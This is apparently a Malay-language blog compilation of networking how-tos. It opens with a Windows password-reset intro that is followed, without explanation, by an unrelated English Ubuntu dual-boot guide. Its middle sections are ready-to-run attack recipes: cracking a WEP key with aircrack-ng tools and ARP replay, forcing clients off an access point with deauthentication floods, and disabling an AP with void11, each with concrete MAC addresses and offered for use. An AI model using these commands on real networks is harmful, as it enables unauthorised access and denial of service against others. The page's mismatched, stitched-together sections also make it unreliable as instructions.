Dah menjadi fitrah, manusia adalah makhluk yang pelupa. Dan kadang-kadang, manusia juga terlupa password bagi administrator Windows. Alamak, kes berat tu. Kalau lupa password untuk admin, macam mana nak akses Windows?

Relaks, jangan panik. Jangan format dulu Windows anda, kerana ada cara untuk reset password dalam Windows ni. Reset password bermaksud anda mengosongkan password tersebut, membuangnya supaya administrator tidak mempunyai password. Selepas reset password, anda boleh login ke akaun administrator dengan mudah.

Kali ini, saya akan menunjukkan cara-cara untuk reset password Windows dengan menggunakan Offline NT Password & Registry Editor. Terlebih dahulu, download fail ISO bagi Offline NT Password & Registry Editor dan burn ke dalam CD. CD dah sedia, jom ikut langkah-langkah di bawah (klik pada setiap imej untuk besarkan)

Selamat mencuba…

Install Ubuntu

Boot the XP machine from the Live CD and select “Start or install Ubuntu”.


vista_ubuntu_05article-width.jpg

XP & Ubuntu – Install Ubuntu

Once the Live CD has loaded, double-click the Install icon on the desktop to start the installation process.

On the Welcome screen, choose your language and select Forward.

vista_ubuntu_06article-width.jpg

XP & Ubuntu – Install Ubuntu – Language

On the “Where are you” (timezone) page, select your location and then Forward.

vista_ubuntu_07article-width.jpg

XP & Ubuntu – Install Ubuntu – Timezone

On the next screen, choose the appropriate keyboard layout and then Forward.

vista_ubuntu_08article-width.jpg

XP & Ubuntu – Install Ubuntu – Keyboard

Now Ubuntu loads the disk partitioner. The first option, to resize the main partition and use the freed space, is pretty much the best one to go with.

xp_ubuntu_07article-width.jpg

Dualboot – Partition Disks

The default recommendation for the new partition size is optimal, but you can move the slider up and down to change it as you see fit. If you’re feeling brave, you can also manually edit the partition table, but unless you’re really confident about what you’re doing, this isn’t recommended.

Click Forward to continue.

Ubuntu now has enough information to install, so click Install and go make a coffee.

When the install is complete the system will reboot. When the GRUB boot menu is displayed, have a look at the last entry in the list.

After the Ubuntu boot options, there will be an entry “Other operating systems” and beneath that “Microsoft Windows XP Professional” (or Home, whichever version you’re using). By default Ubuntu will load itself after 10 seconds.

xp_ubuntu_09article-width.jpg

Dualboot – GRUB Boot Menu

If you choose to boot Windows XP at this point, it will probably launch a check on its partition. This is because the partition has been resized since last boot, and it will want to run a consistency check to make sure there are no problems.

When XP loads, it will also probably detect new hardware (again, the resized partition) and will prompt to reboot.

xp_ubuntu_10article-width.jpg

Dualboot – Reboot XP

On reboot it will probably run through another, longer consistency check and then reboot. This is the last time you’ll need to do this.

Configure GRUB

If you want to modify how GRUB handles the new dualbooting environment, you need to edit the boot menu. Boot into Ubuntu and open up a Terminal window (Applications, Accessories, Terminal), and type in:

sudo gedit /boot/grub/menu.lst

xp_ubuntu_11article-width.jpg

Dualboot – Configure Boot Menu

This opens up the boot menu as a text file in gedit.

xp_ubuntu_12article-width.jpg

Dualboot – Boot Options

There are loads of options you can change, but only a couple that you’re likely to be interested in. The default boot entry is defined by the “default” value.

The default value is 0, which means that the first entry in the list (which is Ubuntu) always gets loaded.

If you want to make it so that Windows XP loads by default, change the value to 4, as XP is the fifth item in the list (the numbering system starts at 0).

The other way to load Windows XP by default is to change the value for “default” from a numerical value to “saved”. Then, GRUB will load whichever boot entry has been marked with “savedefault”.

If you scroll down the list and have a look at the entries, you’ll notice that both the main Ubuntu entry and Windows XP have been marked with “savedefault”. Remove the value for Ubuntu and Windows XP will launch by default.

You can also increase the boot menu timeout – just change the value for “timeout”. You can also hide the GRUB boot menu by removing the hash in front of “hiddenmenu”. Save and exit gedit to keep any changes.

And that’s about it. Dualbooting Windows XP and Linux when Windows is installed first is by far the easiest method of dualbooting, because most up-to-date Linux distros are very aware and accommodating of other operating systems, and GRUB is an excellent and highly flexible bootloader.

  1. Jalankan BackTrack.

  1. Reset driver wireless. taipkan:

#airmon-ng -> periksa interface ath yang aktif

#airmon-ng stop ath0

#airmon-ng stop ath1 -> bila ath1 aktif

#airmon-ng start wifi0

  1. Buka 3 buah console.

  1. Console 1, taipkan:

#airodump-ng ath0 -> scanning hotspot yang aktif.

#airodump-ng –channel 11 –bssid 00:0E:2E:C2:2C:0E -w target ath0

Keterangan:

Proses ini untuk capture informasi yang dapat membantu dalam menembus WEP Key.

–bssid -> MAC-Address dari AP yang akan di crack

-w target -> hasil capture ini akan disimpan di file yang namanya target

  1. Console 2, taipkan:

Untuk membantu menciptakan pengumpulan paket data

#aireplay-ng –arpreplay -b 00:0E:2E:C2:2C:0E -h 00:0E:2E:C1:1E:83 ath0

Keterangan:

-b -> MAC-Address dari AP.

-h -> MAC-Address dari client yang aktif terhubung ke AP.

  1. Console 3, taipkan:

Untuk mempercepat pengumpulan paket data, dilakukan serangan deauthentication ke client.

#aireplay-ng –deauth 2 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0

Keterangan:


-c -> MAC-Address dari Client

-a -> MAC-Address dari AP

  1. Setelah terkumpul paket data yang cukup, dilakukan cracking:

#aircrack-ng target*.cap

Maka dapat kita lihat hasil WEP Key yang berhasil didapatkan.

Semoga Berjaya….

Melumpuhkan Client yang terhubung pada suatu AP:

1. Jalankan Live CD LinuxBackTrack 2.

2. Jalankan Kismet untuk mengetahui MAC-Address AP dan MAC-Address Client serta channel dari AP. catatkan semua informasi yang didapati.

3. Tutup Kismet, buka console, taipkan:

#airmon-ng stop ath0 -> untuk mematikan driver ath0

#airmon-ng stop ath1 -> untuk mematikan driver ath1

#airmon-ng start wifi0 -> menghidupkan/mengaktifkan driver

4. Jalankan scanning wireless menggunakan Airodump :

#airodump-ng ath0

5. kemudian buka konsole satu lagi(dgn Airodump masih aktif jalan) lakukan setting ath0 untuk melakukan serangan (De Authentication) pada komputer client (target). taipkan:

#ifconfig ath0 up -> untuk mengaktifkan ath0

#iwconfig ath0 mode monitor channel 11 -> menentukan agar ath0 dalam mode monitor, sedangkan angka 11 merupakan channel yang dipakai oleh AP (didapatkan dari hasil scanning Kismet).

6. Langkah terakhir, kita lakukan serangan, taipkan:

#aireplay-ng –deauth 20 -c 00:0E:2E:C1:1E:83 -a 00:0E:2E:C2:2C:0E ath0

Keterangan:

Aireplay-ng -> program yang digunakan untuk melakukan de authentication

–deauth -> option untuk serangan de authentication

20 -> jumlah sending packet

00:0E:2E:C1:1E:83 -> MAC-Address komputer target

-a -> option untuk Access Point

00:0E:2E:C2:2C:0E -> MAC-Address Access Point

ath0 -> interface yang digunakan untuk menyerang.

Semoga Berjaya…

Yang diperlukan adalah software void11(download di http://www.wlsec.net/void11) dan Kismet( kalau mahu lebih mudah pakai Distro Linux Auditor).Hardware yang diperlukan bagi Laptop dengan PCMCIA Wifi chipset Prism.

Langkah seterusnya, jalankan Kismet terlebih dahulu untuk melakukan scanning rangkaian wifi, setelah anda mendapat info MAC address dari AP target melalui Kismet, klikan pada console:

# switch-to-hostap
# iwpriv wlan0 hostapd 1 iwconfig wlan0 mode master
# void11_penetration wlan0 -D -t 1 -B 00:0E:2E:C2:2C:0E

keterangan : -D = debug
-t 1 = type serangan ke AP
-B = MAC Address AP target

-> Ingat pada waktu menjalankan serangan, Kismet masih aktif berjalan, jangan menutupnya, tunggu beberapa saat, dan berikutnya……………… Lumpuhlan Kerajaan AP target.

Semoga Berjaya.

Maklumat Lanjut:

  • http://www.marshost.com/~rashmun/wep.cracking.html
  • http://joaquinmartens.com/securewificrack.html

Ikuti Langkah-Langkah berikut ini Untuk Menjadikan Edimax sebagai Hotspot dan Client :

  1. Pastikan Wireless AP Edimax anda dihidupkan dan kabel LAN terhubung dengan komputer anda.

  1. Secara default IP Address dari Edimax adalah 192.168.2.1, jadi anda perlu menetapkan IP Address komputer anda, misal 192.168.2.2.

  1. Buka web browser anda, klik pada addressbar http://192.168.2.1

  1. Ianya akan memaparkan maklumat “Status and Information”, yang default mengenaiAP anda.

  1. Klik pada “Basic Setting” untuk menjadikan Wireless AP kita menjadi Access Point, berikut pekara-pekara yang perlu disetkan:

Mode: AP

Band: 2.4 GHz (B+G)

ESSID: isi terpulang anda

Channel Number: 11 (megenai channel number akan dijelaskan pada point 6)

Lalu klik “Apply”, klik “Apply” lagi, tunggu Wireless AP anda akan melakukan restart. Bila sudah selesai, klik “OK”.

  1. Penetapan atau pemberian “Channel Number” sangatlah penting. Pekara ini akan anda nampak bila di kawasan jangkauan hotspot anda terdapat lebih dari 1 buah access point, maka akan terjadi interference (gangguan).

Berikut caranya:

    1. pastikan channel yang anda gunakan tidak sama dengan AP yang berada disekitar anda. Gunakan NetStumbler untuk melihat channel dan AP yang telah ada.

    2. Untuk menghindari terjadinya interference, kita harus menetapkan channel yang berbeza dari channel yang sudah ada. Contoh:

Channel yang sudah ada: 11

Channel yang kita berikan untuk AP kita: 8

Untuk Wireless AP Edimax sebagai Client:

  1. Klik Tab Basic Setting Pilih Mode “Station Infrastructure” Apply

  1. Masuk ke Basic Setting Site Survey Pilih AP yang akan disambungkan Lalu klik Connect.

  2. Lakukan test ping komputer setempat atau ping ke internet, semoga berhasil.

Selamat Belajar..

Pada kesempatan kali ini saya akan menerangkan command-command cara setting wireless dalamSistem Operasi Linux, namun tidak semua kad rangkaian atau PCMCIA menyokong dengan command-command di bawah ini :
*Untuk menghubungkan ke wireless LAN yang Open atau Secured by WEP (DHCP)
#iwconfig [interface] mode managed key [WEP key]
->
Gantilah kata “interface” dengan nama interface anda yang sedang aktif (digunakan), misalnya ath0, wlan0 atau eth1.
->WEP key,
masukkanlah kata kuci WEP, 10 Karakter hexadecimal untuk 64 bit dan 26 karakter untuk 128 bit.
#iwconfig essid “[ESSID]” ->Spesifikasi SSID dari suatu WLAN
#
dhclient [interface] -> untuk mendapatkan IP address, netmask, DNS server and default gateway dari akses point

*Untuk menghubungkan ke wireless LAN yang Open atau Secured by WEP (IP Dinamik/Statik)
#iwconfig [interface] mode managed key [WEP key]

#iwconfig essid “[ESSID]“
#route add default gw [IP of default gateway] ->Masukkan Ip Address bagi gateway.
#
echo nameserver [IP address of DNS server] >> /etc/resolve.conf, konfigurasikan AP ->Konfigurasikan DNS server anda
#
ping www.detik.com ->ping ke internet untuk uji sambungan

* Command iwconfig


iwconfig [interface] mode master ->Menjadikan kad PCMCIA dalam mode akses point
#
iwconfig [interface] mode managed -> Menjadikan kad PCMCIA anda dalam mode client pada rangkaian wifi .
# iwconfig [interface] mode ad-hoc ->menetapkan kad PCMCIA anda sebagai member pada rangkaian wifi ad hoc tanpa akses point.
#
iwconfig [interface] mode monitor ->menetapkan kad PCMCIA anda dalam mode monitor
#
iwconfig [interface] essid “your ssid_here” ->menetapkan ssid rangkaian anda.
#
iwconfig [interface] key 1111-1111-1111-1111 (menetapkan kunci WEP 128bit)
# iwconfig [interface] key 11111111 (menetapkan kunci WEP 65 bit)
# iwconfig [interface] key off (mematikan kunci WEP)
#iwconfig [interface] key open (menetakan sebagai open mode,tidak diperlukan authentication)
# iwconfig [interface] channel [channel no.] (menetapkan sebuah channel 1-14)
#iwconfig [interface] channel auto (memilih channel secara outomatik)

#iwconfig [interface] freq 2.422G (menetapkan channel dalam Ghz)

#iwconfig [interface] ap 11:11:11:11:11:11 (memaksa kad untuk mendaftar ke alamat AP)

# iwconfig [interface] rate 11M (kad akan menggunakan kelajuan tertentu)

# iwconfig [interface] rate auto (memilih kelajuan automatik)

# iwconfig [interface] rate auto 5.5M (kad akan menggunakan kelajuan tertentu dan kelajuan di bawahnya jika memang diperlukan)

*Perintah ifconfig

#ifconfig [interface] up (mengaktifkan kad rangkaian)

#ifconfig [interface] down (mematikan kad rangkaian)

#ifconfig [interface] [IP address] netmask [subnet-mask] (menetapkan IP address dan subnet mask secara manual)

#ifconfig [interface] hw ether [MAC] (Mergubah MAC address kad PCMCIA dalam format 11:11:11:11:11:11)

Ramai yang bertanya cara untuk bypass prox.Jadi saya ambil kesempatan ini untuk menerangkan cara-caranya.

Anda boleh gunakan perisian :

1. GPass – http://gpass1.com

2. Freegate – Download kat laman web download.com

3. FirePhoenix – http://hfh.edoors.com/

4. Ultra Reach – http://www.ultrareach.com/company/index.htm

5. Garden Network – http://gardennetworks.com/

Cara menggunakan Freegate.

1. Buka Freegate

Masukan IP Proxy server anda dan masukan Proxy Port pada bahagian Manualy Set IP.Kemudian Klik OK.

2. Jika Connection anda berjaya anda freegate anda akan paparkan seperti berikut.Dan Freegate akan mebuka satu websitenya.

Untuk itu anda perlu setkan IP :127.0.0.1 Port:8580 secara manual pada Browser anda.

Pada IE:

Untuk Firefox

Follow

Get every new post delivered to your Inbox.